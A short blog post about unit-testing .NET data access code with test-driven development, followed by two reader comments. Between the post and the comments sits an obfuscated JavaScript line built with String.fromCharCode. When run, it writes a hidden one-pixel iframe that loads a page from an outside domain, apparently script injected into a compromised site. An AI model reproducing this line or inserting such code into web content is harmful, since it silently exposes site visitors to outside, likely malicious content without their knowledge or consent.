TDD

Lately, since I’ve started programming the .NET framework, I’ve become more and more interrested again in test driven development. Usually I’ve to write a lot of data access code but I never really found out a good way to unit test it. Luckily, Roy Osherove has written a very nice article about it on his blog. His solution is very elegant and seems to work like a charm on SQL server but unfortunately (according to the feedback on that article) there are some problems when trying to use this approach on another DBMS.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Join the Conversation

4 Comments

  1. Here’s a small update on my post. It seems that TDD & databases still remains somewhat of an unresolved issue. Besides some of the problems already mentioned in the post and original article there are some other issues so it seems there isn’t a definitive solution to this problem yet. It’s still a pretty hot topic though so hopefully one or more clever minds may come up with something.

  2. Mike, thanks for the info and links – it seems this issue has gained some pretty good momentum.
    I recently got the “TDD with .NET” book by Newkirk and Vorontsov and they also have some pretty detailed information on how to setup your data access code tests.

Leave a comment